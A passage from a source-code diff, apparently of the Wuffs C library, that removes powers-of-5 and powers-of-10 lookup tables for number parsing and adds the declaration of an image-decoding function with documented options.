0x83B7, 0x83DC, +- 0x8C02, 0x8C28, 0x8C4F, 0x9477, 0x949F, 0x94C8, 0x9CF2, 0x051C, 0x051C, +- 0x051C, 0x051C, +-}; +- +-// wuffs_base__private_implementation__powers_of_5 contains the powers of 5, +-// concatenated together: "5", "25", "125", "625", "3125", etc. +-static const uint8_t wuffs_base__private_implementation__powers_of_5[0x051C] = { +- 5, 2, 5, 1, 2, 5, 6, 2, 5, 3, 1, 2, 5, 1, 5, 6, 2, 5, 7, 8, 1, 2, 5, 3, 9, +- 0, 6, 2, 5, 1, 9, 5, 3, 1, 2, 5, 9, 7, 6, 5, 6, 2, 5, 4, 8, 8, 2, 8, 1, 2, +- 5, 2, 4, 4, 1, 4, 0, 6, 2, 5, 1, 2, 2, 0, 7, 0, 3, 1, 2, 5, 6, 1, 0, 3, 5, +- 1, 5, 6, 2, 5, 3, 0, 5, 1, 7, 5, 7, 8, 1, 2, 5, 1, 5, 2, 5, 8, 7, 8, 9, 0, +- 6, 2, 5, 7, 6, 2, 9, 3, 9, 4, 5, 3, 1, 2, 5, 3, 8, 1, 4, 6, 9, 7, 2, 6, 5, +- 6, 2, 5, 1, 9, 0, 7, 3, 4, 8, 6, 3, 2, 8, 1, 2, 5, 9, 5, 3, 6, 7, 4, 3, 1, +- 6, 4, 0, 6, 2, 5, 4, 7, 6, 8, 3, 7, 1, 5, 8, 2, 0, 3, 1, 2, 5, 2, 3, 8, 4, +- 1, 8, 5, 7, 9, 1, 0, 1, 5, 6, 2, 5, 1, 1, 9, 2, 0, 9, 2, 8, 9, 5, 5, 0, 7, +- 8, 1, 2, 5, 5, 9, 6, 0, 4, 6, 4, 4, 7, 7, 5, 3, 9, 0, 6, 2, 5, 2, 9, 8, 0, +- 2, 3, 2, 2, 3, 8, 7, 6, 9, 5, 3, 1, 2, 5, 1, 4, 9, 0, 1, 1, 6, 1, 1, 9, 3, +- 8, 4, 7, 6, 5, 6, 2, 5, 7, 4, 5, 0, 5, 8, 0, 5, 9, 6, 9, 2, 3, 8, 2, 8, 1, +- 2, 5, 3, 7, 2, 5, 2, 9, 0, 2, 9, 8, 4, 6, 1, 9, 1, 4, 0, 6, 2, 5, 1, 8, 6, +- 2, 6, 4, 5, 1, 4, 9, 2, 3, 0, 9, 5, 7, 0, 3, 1, 2, 5, 9, 3, 1, 3, 2, 2, 5, +- 7, 4, 6, 1, 5, 4, 7, 8, 5, 1, 5, 6, 2, 5, 4, 6, 5, 6, 6, 1, 2, 8, 7, 3, 0, +- 7, 7, 3, 9, 2, 5, 7, 8, 1, 2, 5, 2, 3, 2, 8, 3, 0, 6, 4, 3, 6, 5, 3, 8, 6, +- 9, 6, 2, 8, 9, 0, 6, 2, 5, 1, 1, 6, 4, 1, 5, 3, 2, 1, 8, 2, 6, 9, 3, 4, 8, +- 1, 4, 4, 5, 3, 1, 2, 5, 5, 8, 2, 0, 7, 6, 6, 0, 9, 1, 3, 4, 6, 7, 4, 0, 7, +- 2, 2, 6, 5, 6, 2, 5, 2, 9, 1, 0, 3, 8, 3, 0, 4, 5, 6, 7, 3, 3, 7, 0, 3, 6, +- 1, 3, 2, 8, 1, 2, 5, 1, 4, 5, 5, 1, 9, 1, 5, 2, 2, 8, 3, 6, 6, 8, 5, 1, 8, +- 0, 6, 6, 4, 0, 6, 2, 5, 7, 2, 7, 5, 9, 5, 7, 6, 1, 4, 1, 8, 3, 4, 2, 5, 9, +- 0, 3, 3, 2, 0, 3, 1, 2, 5, 3, 6, 3, 7, 9, 7, 8, 8, 0, 7, 0, 9, 1, 7, 1, 2, +- 9, 5, 1, 6, 6, 0, 1, 5, 6, 2, 5, 1, 8, 1, 8, 9, 8, 9, 4, 0, 3, 5, 4, 5, 8, +- 5, 6, 4, 7, 5, 8, 3, 0, 0, 7, 8, 1, 2, 5, 9, 0, 9, 4, 9, 4, 7, 0, 1, 7, 7, +- 2, 9, 2, 8, 2, 3, 7, 9, 1, 5, 0, 3, 9, 0, 6, 2, 5, 4, 5, 4, 7, 4, 7, 3, 5, +- 0, 8, 8, 6, 4, 6, 4, 1, 1, 8, 9, 5, 7, 5, 1, 9, 5, 3, 1, 2, 5, 2, 2, 7, 3, +- 7, 3, 6, 7, 5, 4, 4, 3, 2, 3, 2, 0, 5, 9, 4, 7, 8, 7, 5, 9, 7, 6, 5, 6, 2, +- 5, 1, 1, 3, 6, 8, 6, 8, 3, 7, 7, 2, 1, 6, 1, 6, 0, 2, 9, 7, 3, 9, 3, 7, 9, +- 8, 8, 2, 8, 1, 2, 5, 5, 6, 8, 4, 3, 4, 1, 8, 8, 6, 0, 8, 0, 8, 0, 1, 4, 8, +- 6, 9, 6, 8, 9, 9, 4, 1, 4, 0, 6, 2, 5, 2, 8, 4, 2, 1, 7, 0, 9, 4, 3, 0, 4, +- 0, 4, 0, 0, 7, 4, 3, 4, 8, 4, 4, 9, 7, 0, 7, 0, 3, 1, 2, 5, 1, 4, 2, 1, 0, +- 8, 5, 4, 7, 1, 5, 2, 0, 2, 0, 0, 3, 7, 1, 7, 4, 2, 2, 4, 8, 5, 3, 5, 1, 5, +- 6, 2, 5, 7, 1, 0, 5, 4, 2, 7, 3, 5, 7, 6, 0, 1, 0, 0, 1, 8, 5, 8, 7, 1, 1, +- 2, 4, 2, 6, 7, 5, 7, 8, 1, 2, 5, 3, 5, 5, 2, 7, 1, 3, 6, 7, 8, 8, 0, 0, 5, +- 0, 0, 9, 2, 9, 3, 5, 5, 6, 2, 1, 3, 3, 7, 8, 9, 0, 6, 2, 5, 1, 7, 7, 6, 3, +- 5, 6, 8, 3, 9, 4, 0, 0, 2, 5, 0, 4, 6, 4, 6, 7, 7, 8, 1, 0, 6, 6, 8, 9, 4, +- 5, 3, 1, 2, 5, 8, 8, 8, 1, 7, 8, 4, 1, 9, 7, 0, 0, 1, 2, 5, 2, 3, 2, 3, 3, +- 8, 9, 0, 5, 3, 3, 4, 4, 7, 2, 6, 5, 6, 2, 5, 4, 4, 4, 0, 8, 9, 2, 0, 9, 8, +- 5, 0, 0, 6, 2, 6, 1, 6, 1, 6, 9, 4, 5, 2, 6, 6, 7, 2, 3, 6, 3, 2, 8, 1, 2, +- 5, 2, 2, 2, 0, 4, 4, 6, 0, 4, 9, 2, 5, 0, 3, 1, 3, 0, 8, 0, 8, 4, 7, 2, 6, +- 3, 3, 3, 6, 1, 8, 1, 6, 4, 0, 6, 2, 5, 1, 1, 1, 0, 2, 2, 3, 0, 2, 4, 6, 2, +- 5, 1, 5, 6, 5, 4, 0, 4, 2, 3, 6, 3, 1, 6, 6, 8, 0, 9, 0, 8, 2, 0, 3, 1, 2, +- 5, 5, 5, 5, 1, 1, 1, 5, 1, 2, 3, 1, 2, 5, 7, 8, 2, 7, 0, 2, 1, 1, 8, 1, 5, +- 8, 3, 4, 0, 4, 5, 4, 1, 0, 1, 5, 6, 2, 5, 2, 7, 7, 5, 5, 5, 7, 5, 6, 1, 5, +- 6, 2, 8, 9, 1, 3, 5, 1, 0, 5, 9, 0, 7, 9, 1, 7, 0, 2, 2, 7, 0, 5, 0, 7, 8, +- 1, 2, 5, 1, 3, 8, 7, 7, 7, 8, 7, 8, 0, 7, 8, 1, 4, 4, 5, 6, 7, 5, 5, 2, 9, +- 5, 3, 9, 5, 8, 5, 1, 1, 3, 5, 2, 5, 3, 9, 0, 6, 2, 5, 6, 9, 3, 8, 8, 9, 3, +- 9, 0, 3, 9, 0, 7, 2, 2, 8, 3, 7, 7, 6, 4, 7, 6, 9, 7, 9, 2, 5, 5, 6, 7, 6, +- 2, 6, 9, 5, 3, 1, 2, 5, 3, 4, 6, 9, 4, 4, 6, 9, 5, 1, 9, 5, 3, 6, 1, 4, 1, +- 8, 8, 8, 2, 3, 8, 4, 8, 9, 6, 2, 7, 8, 3, 8, 1, 3, 4, 7, 6, 5, 6, 2, 5, 1, +- 7, 3, 4, 7, 2, 3, 4, 7, 5, 9, 7, 6, 8, 0, 7, 0, 9, 4, 4, 1, 1, 9, 2, 4, 4, +- 8, 1, 3, 9, 1, 9, 0, 6, 7, 3, 8, 2, 8, 1, 2, 5, 8, 6, 7, 3, 6, 1, 7, 3, 7, +- 9, 8, 8, 4, 0, 3, 5, 4, 7, 2, 0, 5, 9, 6, 2, 2, 4, 0, 6, 9, 5, 9, 5, 3, 3, +- 6, 9, 1, 4, 0, 6, 2, 5, +-}; ++// The background_color is used to fill the pixel buffer after ++// callbacks.AllocPixbuf returns, if it is valid in the ++// wuffs_base__color_u32_argb_premul__is_valid sense. The default value, ++// 0x0000_0001, is not valid since its Blue channel value (0x01) is greater ++// than its Alpha channel value (0x00). A valid background_color will typically ++// be overwritten when pixel_blend is WUFFS_BASE__PIXEL_BLEND__SRC, but might ++// still be visible on partial (not total) success or when pixel_blend is ++// WUFFS_BASE__PIXEL_BLEND__SRC_OVER and the decoded image is not fully opaque. ++// ++// Decoding fails (with DecodeImage_MaxInclDimensionExceeded) if the image's ++// width or height is greater than max_incl_dimension or if any opted-in (via ++// flags bits) metadata is longer than max_incl_metadata_length. ++DecodeImageResult // ++DecodeImage(DecodeImageCallbacks& callbacks, ++ sync_io::Input& input, ++ DecodeImageArgQuirks quirks = DecodeImageArgQuirks::DefaultValue(), ++ DecodeImageArgFlags flags = DecodeImageArgFlags::DefaultValue(), ++ DecodeImageArgPixelBlend pixel_blend = ++ DecodeImageArgPixelBlend::DefaultValue(), ++ DecodeImageArgBackgroundColor background_color = ++ DecodeImageArgBackgroundColor::DefaultValue(), ++ DecodeImageArgMaxInclDimension max_incl_dimension = ++ DecodeImageArgMaxInclDimension::DefaultValue(), ++ DecodeImageArgMaxInclMetadataLength max_incl_metadata_length = ++ DecodeImageArgMaxInclMetadataLength::DefaultValue()); + +-// -------- ++} // namespace wuffs_aux + +-// wuffs_base__private_implementation__powers_of_10 contains truncated +-// approximations to the powers of 10, ranging from 1e-307 to 1e+288 inclusive, +-// as 596 pairs of uint64_t values (a 128-bit mantissa). +-// +-// There's also an implicit third column (implied by a linear formula involving +-// the base-10 exponent) that is the base-2 exponent, biased by a magic +-// constant. That constant (1214 or 0x04BE) equals 1023 + 191. 1023 is the bias +-// for IEEE 754 double-precision floating point. 191 is ((3 * 64) - 1) and +-// wuffs_base__private_implementation__parse_number_f64_eisel_lemire works with +-// multiples-of-64-bit mantissas. +-// +-// For example, the third row holds the approximation to 1e-305: +-// 0xE0B62E29_29ABA83C_331ACDAB_FE94DE87 * (2 ** (0x0049 - 0x04BE)) +-// +-// Similarly, 1e+4 is approximated by: +-// 0x9C400000_00000000_00000000_00000000 * (2 ** (0x044C - 0x04BE)) +-// +-// Similarly, 1e+68 is approximated by: +-// 0xED63A231_D4C4FB27_4CA7AAA8_63EE4BDD * (2 ** (0x0520 - 0x04BE)) +-// +-// This table was generated by by script/print-mpb-powers-of-10.go +-static const uint64_t wuffs_base__private_implementation__powers_of_10[596][2] = +- { +- {0xA5D3B6D479F8E056, 0x8FD0C16206306BAB}, // 1e-307 +- {0x8F48A4899877186C, 0xB3C4F1BA87BC8696}, // 1e-306 +- {0x331ACDABFE94DE87, 0xE0B62E2929ABA83C}, // 1e-305 +- {0x9FF0C08B7F1D0B14, 0x8C71DCD9BA0B4925}, // 1e-304 +- {0x07ECF0AE5EE44DD9, 0xAF8E5410288E1B6F}, // 1e-303 +- {0xC9E82CD9F69D6150, 0xDB71E91432B1A24A}, // 1e-302 +- {0xBE311C083A225CD2, 0x892731AC9FAF056E}, // 1e-301 +- {0x6DBD630A48AAF406, 0xAB70FE17C79AC6CA}, // 1e-300 +- {0x092CBBCCDAD5B108, 0xD64D3D9DB981787D}, // 1e-299 +- {0x25BBF56008C58EA5, 0x85F0468293F0EB4E}, // 1e-298 +- {0xAF2AF2B80AF6F24E, 0xA76C582338ED2621}, // 1e-297 +- {0x1AF5AF660DB4AEE1, 0xD1476E2C07286FAA}, // 1e-296 +- {0x50D98D9FC890ED4D, 0x82CCA4DB847945CA}, // 1e-295 +- {0xE50FF107BAB528A0, 0xA37FCE126597973C}, // 1e-294 +- {0x1E53ED49A96272C8, 0xCC5FC196FEFD7D0C}, // 1e-293 +- {0x25E8E89C13BB0F7A, 0xFF77B1FCBEBCDC4F}, // 1e-292 +- {0x77B191618C54E9AC, 0x9FAACF3DF73609B1}, // 1e-291 +- {0xD59DF5B9EF6A2417, 0xC795830D75038C1D}, // 1e-290 +- {0x4B0573286B44AD1D, 0xF97AE3D0D2446F25}, // 1e-289 +- {0x4EE367F9430AEC32, 0x9BECCE62836AC577}, // 1e-288 +- {0x229C41F793CDA73F, 0xC2E801FB244576D5}, // 1e-287 +- {0x6B43527578C1110F, 0xF3A20279ED56D48A}, // 1e-286 +- {0x830A13896B78AAA9, 0x9845418C345644D6}, // 1e-285 +- {0x23CC986BC656D553, 0xBE5691EF416BD60C}, // 1e-284 +- {0x2CBFBE86B7EC8AA8, 0xEDEC366B11C6CB8F}, // 1e-283 +- {0x7BF7D71432F3D6A9, 0x94B3A202EB1C3F39}, // 1e-282 +- {0xDAF5CCD93FB0CC53, 0xB9E08A83A5E34F07}, // 1e-281 +- {0xD1B3400F8F9CFF68, 0xE858AD248F5C22C9}, // 1e-280 +- {0x23100809B9C21FA1, 0x91376C36D99995BE}, // 1e-279 +- {0xABD40A0C2832A78A, 0xB58547448FFFFB2D}, // 1e-278 +- {0x16C90C8F323F516C, 0xE2E69915B3FFF9F9}, // 1e-277 +- {0xAE3DA7D97F6792E3, 0x8DD01FAD907FFC3B}, // 1e-276 +- {0x99CD11CFDF41779C, 0xB1442798F49FFB4A}, // 1e-275 +- {0x40405643D711D583, 0xDD95317F31C7FA1D}, // 1e-274 +- {0x482835EA666B2572, 0x8A7D3EEF7F1CFC52}, // 1e-273 +- {0xDA3243650005EECF, 0xAD1C8EAB5EE43B66}, // 1e-272 +- {0x90BED43E40076A82, 0xD863B256369D4A40}, // 1e-271 +- {0x5A7744A6E804A291, 0x873E4F75E2224E68}, // 1e-270 +- {0x711515D0A205CB36, 0xA90DE3535AAAE202}, // 1e-269 +- {0x0D5A5B44CA873E03, 0xD3515C2831559A83}, // 1e-268 +- {0xE858790AFE9486C2, 0x8412D9991ED58091}, // 1e-267 +- {0x626E974DBE39A872, 0xA5178FFF668AE0B6}, // 1e-266 +- {0xFB0A3D212DC8128F, 0xCE5D73FF402D98E3}, // 1e-265 +- {0x7CE66634BC9D0B99, 0x80FA687F881C7F8E}, // 1e-264 +- {0x1C1FFFC1EBC44E80, 0xA139029F6A239F72}, // 1e-263 +- {0xA327FFB266B56220, 0xC987434744AC874E}, // 1e-262 +- {0x4BF1FF9F0062BAA8, 0xFBE9141915D7A922}, // 1e-261 +- {0x6F773FC3603DB4A9, 0x9D71AC8FADA6C9B5}, // 1e-260 +- {0xCB550FB4384D21D3, 0xC4CE17B399107C22}, // 1e-259 +- {0x7E2A53A146606A48, 0xF6019DA07F549B2B}, // 1e-258 +- {0x2EDA7444CBFC426D, 0x99C102844F94E0FB}, // 1e-257 +- {0xFA911155FEFB5308, 0xC0314325637A1939}, // 1e-256 +- {0x793555AB7EBA27CA, 0xF03D93EEBC589F88}, // 1e-255 +- {0x4BC1558B2F3458DE, 0x96267C7535B763B5}, // 1e-254 +- {0x9EB1AAEDFB016F16, 0xBBB01B9283253CA2}, // 1e-253 +- {0x465E15A979C1CADC, 0xEA9C227723EE8BCB}, // 1e-252 +- {0x0BFACD89EC191EC9, 0x92A1958A7675175F}, // 1e-251 +- {0xCEF980EC671F667B, 0xB749FAED14125D36}, // 1e-250 +- {0x82B7E12780E7401A, 0xE51C79A85916F484}, // 1e-249 +- {0xD1B2ECB8B0908810, 0x8F31CC0937AE58D2}, // 1e-248 +- {0x861FA7E6DCB4AA15, 0xB2FE3F0B8599EF07}, // 1e-247 +- {0x67A791E093E1D49A, 0xDFBDCECE67006AC9}, // 1e-246 +- {0xE0C8BB2C5C6D24E0, 0x8BD6A141006042BD}, // 1e-245 +- {0x58FAE9F773886E18, 0xAECC49914078536D}, // 1e-244 +- {0xAF39A475506A899E, 0xDA7F5BF590966848}, // 1e-243 +- {0x6D8406C952429603, 0x888F99797A5E012D}, // 1e-242 +- {0xC8E5087BA6D33B83, 0xAAB37FD7D8F58178}, // 1e-241 +- {0xFB1E4A9A90880A64, 0xD5605FCDCF32E1D6}, // 1e-240 +- {0x5CF2EEA09A55067F, 0x855C3BE0A17FCD26}, // 1e-239 +- {0xF42FAA48C0EA481E, 0xA6B34AD8C9DFC06F}, // 1e-238 +- {0xF13B94DAF124DA26, 0xD0601D8EFC57B08B}, // 1e-237 +- {0x76C53D08D6B70858, 0x823C12795DB6CE57}, // 1e-236 +- {0x54768C4B0C64CA6E, 0xA2CB1717B52481ED}, // 1e-235 +- {0xA9942F5DCF7DFD09, 0xCB7DDCDDA26DA268}, // 1e-234 +- {0xD3F93B35435D7C4C, 0xFE5D54150B090B02}, // 1e-233 +- {0xC47BC5014A1A6DAF, 0x9EFA548D26E5A6E1}, // 1e-232 +- {0x359AB6419CA1091B, 0xC6B8E9B0709F109A}, // 1e-231 +- {0xC30163D203C94B62, 0xF867241C8CC6D4C0}, // 1e-230 +- {0x79E0DE63425DCF1D, 0x9B407691D7FC44F8}, // 1e-229 +- {0x985915FC12F542E4, 0xC21094364DFB5636}, // 1e-228 +- {0x3E6F5B7B17B2939D, 0xF294B943E17A2BC4}, // 1e-227 +- {0xA705992CEECF9C42, 0x979CF3CA6CEC5B5A}, // 1e-226 +- {0x50C6FF782A838353, 0xBD8430BD08277231}, // 1e-225 +- {0xA4F8BF5635246428, 0xECE53CEC4A314EBD}, // 1e-224 +- {0x871B7795E136BE99, 0x940F4613AE5ED136}, // 1e-223 +- {0x28E2557B59846E3F, 0xB913179899F68584}, // 1e-222 +- {0x331AEADA2FE589CF, 0xE757DD7EC07426E5}, // 1e-221 +- {0x3FF0D2C85DEF7621, 0x9096EA6F3848984F}, // 1e-220 +- {0x0FED077A756B53A9, 0xB4BCA50B065ABE63}, // 1e-219 +- {0xD3E8495912C62894, 0xE1EBCE4DC7F16DFB}, // 1e-218 +- {0x64712DD7ABBBD95C, 0x8D3360F09CF6E4BD}, // 1e-217 +- {0xBD8D794D96AACFB3, 0xB080392CC4349DEC}, // 1e-216 +- {0xECF0D7A0FC5583A0, 0xDCA04777F541C567}, // 1e-215 +- {0xF41686C49DB57244, 0x89E42CAAF9491B60}, // 1e-214 +- {0x311C2875C522CED5, 0xAC5D37D5B79B6239}, // 1e-213 +- {0x7D633293366B828B, 0xD77485CB25823AC7}, // 1e-212 +- {0xAE5DFF9C02033197, 0x86A8D39EF77164BC}, // 1e-211 +- {0xD9F57F830283FDFC, 0xA8530886B54DBDEB}, // 1e-210 +- {0xD072DF63C324FD7B, 0xD267CAA862A12D66}, // 1e-209 +- {0x4247CB9E59F71E6D, 0x8380DEA93DA4BC60}, // 1e-208 +- {0x52D9BE85F074E608, 0xA46116538D0DEB78}, // 1e-207 +- {0x67902E276C921F8B, 0xCD795BE870516656}, // 1e-206 +- {0x00BA1CD8A3DB53B6, 0x806BD9714632DFF6}, // 1e-205 +- {0x80E8A40ECCD228A4, 0xA086CFCD97BF97F3}, // 1e-204 +- {0x6122CD128006B2CD, 0xC8A883C0FDAF7DF0}, // 1e-203 +- {0x796B805720085F81, 0xFAD2A4B13D1B5D6C}, // 1e-202 +- {0xCBE3303674053BB0, 0x9CC3A6EEC6311A63}, // 1e-201 +- {0xBEDBFC4411068A9C, 0xC3F490AA77BD60FC}, // 1e-200 +- {0xEE92FB5515482D44, 0xF4F1B4D515ACB93B}, // 1e-199 +- {0x751BDD152D4D1C4A, 0x991711052D8BF3C5}, // 1e-198 +- {0xD262D45A78A0635D, 0xBF5CD54678EEF0B6}, // 1e-197 +- {0x86FB897116C87C34, 0xEF340A98172AACE4}, // 1e-196 +- {0xD45D35E6AE3D4DA0, 0x9580869F0E7AAC0E}, // 1e-195 +- {0x8974836059CCA109, 0xBAE0A846D2195712}, // 1e-194 +- {0x2BD1A438703FC94B, 0xE998D258869FACD7}, // 1e-193 +- {0x7B6306A34627DDCF, 0x91FF83775423CC06}, // 1e-192 +- {0x1A3BC84C17B1D542, 0xB67F6455292CBF08}, // 1e-191 +- {0x20CABA5F1D9E4A93, 0xE41F3D6A7377EECA}, // 1e-190 +- {0x547EB47B7282EE9C, 0x8E938662882AF53E}, // 1e-189 +- {0xE99E619A4F23AA43, 0xB23867FB2A35B28D}, // 1e-188 +- {0x6405FA00E2EC94D4, 0xDEC681F9F4C31F31}, // 1e-187 +- {0xDE83BC408DD3DD04, 0x8B3C113C38F9F37E}, // 1e-186 +- {0x9624AB50B148D445, 0xAE0B158B4738705E}, // 1e-185 +- {0x3BADD624DD9B0957, 0xD98DDAEE19068C76}, // 1e-184 +- {0xE54CA5D70A80E5D6, 0x87F8A8D4CFA417C9}, // 1e-183 +- {0x5E9FCF4CCD211F4C, 0xA9F6D30A038D1DBC}, // 1e-182 +- {0x7647C3200069671F, 0xD47487CC8470652B}, // 1e-181 +- {0x29ECD9F40041E073, 0x84C8D4DFD2C63F3B}, // 1e-180 +- {0xF468107100525890, 0xA5FB0A17C777CF09}, // 1e-179 +- {0x7182148D4066EEB4, 0xCF79CC9DB955C2CC}, // 1e-178 +- {0xC6F14CD848405530, 0x81AC1FE293D599BF}, // 1e-177 +- {0xB8ADA00E5A506A7C, 0xA21727DB38CB002F}, // 1e-176 +- {0xA6D90811F0E4851C, 0xCA9CF1D206FDC03B}, // 1e-175 +- {0x908F4A166D1DA663, 0xFD442E4688BD304A}, // 1e-174 +- {0x9A598E4E043287FE, 0x9E4A9CEC15763E2E}, // 1e-173 +- {0x40EFF1E1853F29FD, 0xC5DD44271AD3CDBA}, // 1e-172 +- {0xD12BEE59E68EF47C, 0xF7549530E188C128}, // 1e-171 +- {0x82BB74F8301958CE, 0x9A94DD3E8CF578B9}, // 1e-170 +- {0xE36A52363C1FAF01, 0xC13A148E3032D6E7}, // 1e-169 +- {0xDC44E6C3CB279AC1, 0xF18899B1BC3F8CA1}, // 1e-168 +- {0x29AB103A5EF8C0B9, 0x96F5600F15A7B7E5}, // 1e-167 +- {0x7415D448F6B6F0E7, 0xBCB2B812DB11A5DE}, // 1e-166 +- {0x111B495B3464AD21, 0xEBDF661791D60F56}, // 1e-165 +- {0xCAB10DD900BEEC34, 0x936B9FCEBB25C995}, // 1e-164 +- {0x3D5D514F40EEA742, 0xB84687C269EF3BFB}, // 1e-163 +- {0x0CB4A5A3112A5112, 0xE65829B3046B0AFA}, // 1e-162 +- {0x47F0E785EABA72AB, 0x8FF71A0FE2C2E6DC}, // 1e-161 +- {0x59ED216765690F56, 0xB3F4E093DB73A093}, // 1e-160 +- {0x306869C13EC3532C, 0xE0F218B8D25088B8}, // 1e-159 +- {0x1E414218C73A13FB, 0x8C974F7383725573}, // 1e-158 +- {0xE5D1929EF90898FA, 0xAFBD2350644EEACF}, // 1e-157 +- {0xDF45F746B74ABF39, 0xDBAC6C247D62A583}, // 1e-156 +- {0x6B8BBA8C328EB783, 0x894BC396CE5DA772}, // 1e-155 +- {0x066EA92F3F326564, 0xAB9EB47C81F5114F}, // 1e-154 +- {0xC80A537B0EFEFEBD, 0xD686619BA27255A2}, // 1e-153 +- {0xBD06742CE95F5F36, 0x8613FD0145877585}, // 1e-152 +- {0x2C48113823B73704, 0xA798FC4196E952E7}, // 1e-151 +- {0xF75A15862CA504C5, 0xD17F3B51FCA3A7A0}, // 1e-150 +- {0x9A984D73DBE722FB, 0x82EF85133DE648C4}, // 1e-149 +- {0xC13E60D0D2E0EBBA, 0xA3AB66580D5FDAF5}, // 1e-148 +- {0x318DF905079926A8, 0xCC963FEE10B7D1B3}, // 1e-147 +- {0xFDF17746497F7052, 0xFFBBCFE994E5C61F}, // 1e-146 +- {0xFEB6EA8BEDEFA633, 0x9FD561F1FD0F9BD3}, // 1e-145 +- {0xFE64A52EE96B8FC0, 0xC7CABA6E7C5382C8}, // 1e-144 +- {0x3DFDCE7AA3C673B0, 0xF9BD690A1B68637B}, // 1e-143 +- {0x06BEA10CA65C084E, 0x9C1661A651213E2D}, // 1e-142 +- {0x486E494FCFF30A62, 0xC31BFA0FE5698DB8}, // 1e-141 +- {0x5A89DBA3C3EFCCFA, 0xF3E2F893DEC3F126}, // 1e-140 +- {0xF89629465A75E01C, 0x986DDB5C6B3A76B7}, // 1e-139 +- {0xF6BBB397F1135823, 0xBE89523386091465}, // 1e-138 +- {0x746AA07DED582E2C, 0xEE2BA6C0678B597F}, // 1e-137 +- {0xA8C2A44EB4571CDC, 0x94DB483840B717EF}, // 1e-136 +- {0x92F34D62616CE413, 0xBA121A4650E4DDEB}, // 1e-135 +- {0x77B020BAF9C81D17, 0xE896A0D7E51E1566}, // 1e-134 +- {0x0ACE1474DC1D122E, 0x915E2486EF32CD60}, // 1e-133 +- {0x0D819992132456BA, 0xB5B5ADA8AAFF80B8}, // 1e-132 +- {0x10E1FFF697ED6C69, 0xE3231912D5BF60E6}, // 1e-131 +- {0xCA8D3FFA1EF463C1, 0x8DF5EFABC5979C8F}, // 1e-130 +- {0xBD308FF8A6B17CB2, 0xB1736B96B6FD83B3}, // 1e-129 +- {0xAC7CB3F6D05DDBDE, 0xDDD0467C64BCE4A0}, // 1e-128 +- {0x6BCDF07A423AA96B, 0x8AA22C0DBEF60EE4}, // 1e-127 +- {0x86C16C98D2C953C6, 0xAD4AB7112EB3929D}, // 1e-126 +- {0xE871C7BF077BA8B7, 0xD89D64D57A607744}, // 1e-125 +- {0x11471CD764AD4972, 0x87625F056C7C4A8B}, // 1e-124 +- {0xD598E40D3DD89BCF, 0xA93AF6C6C79B5D2D}, // 1e-123 +- {0x4AFF1D108D4EC2C3, 0xD389B47879823479}, // 1e-122 +- {0xCEDF722A585139BA, 0x843610CB4BF160CB}, // 1e-121 +- {0xC2974EB4EE658828, 0xA54394FE1EEDB8FE}, // 1e-120 +- {0x733D226229FEEA32, 0xCE947A3DA6A9273E}, // 1e-119 +- {0x0806357D5A3F525F, 0x811CCC668829B887}, // 1e-118 +- {0xCA07C2DCB0CF26F7, 0xA163FF802A3426A8}, // 1e-117 +- {0xFC89B393DD02F0B5, 0xC9BCFF6034C13052}, // 1e-116 +- {0xBBAC2078D443ACE2, 0xFC2C3F3841F17C67}, // 1e-115 +- {0xD54B944B84AA4C0D, 0x9D9BA7832936EDC0}, // 1e-114 +- {0x0A9E795E65D4DF11, 0xC5029163F384A931}, // 1e-113 +- {0x4D4617B5FF4A16D5, 0xF64335BCF065D37D}, // 1e-112 +- {0x504BCED1BF8E4E45, 0x99EA0196163FA42E}, // 1e-111 +- {0xE45EC2862F71E1D6, 0xC06481FB9BCF8D39}, // 1e-110 +- {0x5D767327BB4E5A4C, 0xF07DA27A82C37088}, // 1e-109 +- {0x3A6A07F8D510F86F, 0x964E858C91BA2655}, // 1e-108 +- {0x890489F70A55368B, 0xBBE226EFB628AFEA}, // 1e-107 +- {0x2B45AC74CCEA842E, 0xEADAB0ABA3B2DBE5}, // 1e-106 +- {0x3B0B8BC90012929D, 0x92C8AE6B464FC96F}, // 1e-105 +- {0x09CE6EBB40173744, 0xB77ADA0617E3BBCB}, // 1e-104 +- {0xCC420A6A101D0515, 0xE55990879DDCAABD}, // 1e-103 +- {0x9FA946824A12232D, 0x8F57FA54C2A9EAB6}, // 1e-102 +- {0x47939822DC96ABF9, 0xB32DF8E9F3546564}, // 1e-101 +- {0x59787E2B93BC56F7, 0xDFF9772470297EBD}, // 1e-100 +- {0x57EB4EDB3C55B65A, 0x8BFBEA76C619EF36}, // 1e-99 +- {0xEDE622920B6B23F1, 0xAEFAE51477A06B03}, // 1e-98 +- {0xE95FAB368E45ECED, 0xDAB99E59958885C4}, // 1e-97 +- {0x11DBCB0218EBB414, 0x88B402F7FD75539B}, // 1e-96 +- {0xD652BDC29F26A119, 0xAAE103B5FCD2A881}, // 1e-95 +- {0x4BE76D3346F0495F, 0xD59944A37C0752A2}, // 1e-94 +- {0x6F70A4400C562DDB, 0x857FCAE62D8493A5}, // 1e-93 +- {0xCB4CCD500F6BB952, 0xA6DFBD9FB8E5B88E}, // 1e-92 +- {0x7E2000A41346A7A7, 0xD097AD07A71F26B2}, // 1e-91 +- {0x8ED400668C0C28C8, 0x825ECC24C873782F}, // 1e-90 +- {0x728900802F0F32FA, 0xA2F67F2DFA90563B}, // 1e-89 +- {0x4F2B40A03AD2FFB9, 0xCBB41EF979346BCA}, // 1e-88 +- {0xE2F610C84987BFA8, 0xFEA126B7D78186BC}, // 1e-87 +- {0x0DD9CA7D2DF4D7C9, 0x9F24B832E6B0F436}, // 1e-86 +- {0x91503D1C79720DBB, 0xC6EDE63FA05D3143}, // 1e-85 +- {0x75A44C6397CE912A, 0xF8A95FCF88747D94}, // 1e-84 +- {0xC986AFBE3EE11ABA, 0x9B69DBE1B548CE7C}, // 1e-83 +- {0xFBE85BADCE996168, 0xC24452DA229B021B}, // 1e-82 +- {0xFAE27299423FB9C3, 0xF2D56790AB41C2A2}, // 1e-81 +- {0xDCCD879FC967D41A, 0x97C560BA6B0919A5}, // 1e-80 +- {0x5400E987BBC1C920, 0xBDB6B8E905CB600F}, // 1e-79 +- {0x290123E9AAB23B68, 0xED246723473E3813}, // 1e-78 +- {0xF9A0B6720AAF6521, 0x9436C0760C86E30B}, // 1e-77 +- {0xF808E40E8D5B3E69, 0xB94470938FA89BCE}, // 1e-76 +- {0xB60B1D1230B20E04, 0xE7958CB87392C2C2}, // 1e-75 +- {0xB1C6F22B5E6F48C2, 0x90BD77F3483BB9B9}, // 1e-74 +- {0x1E38AEB6360B1AF3, 0xB4ECD5F01A4AA828}, // 1e-73 +- {0x25C6DA63C38DE1B0, 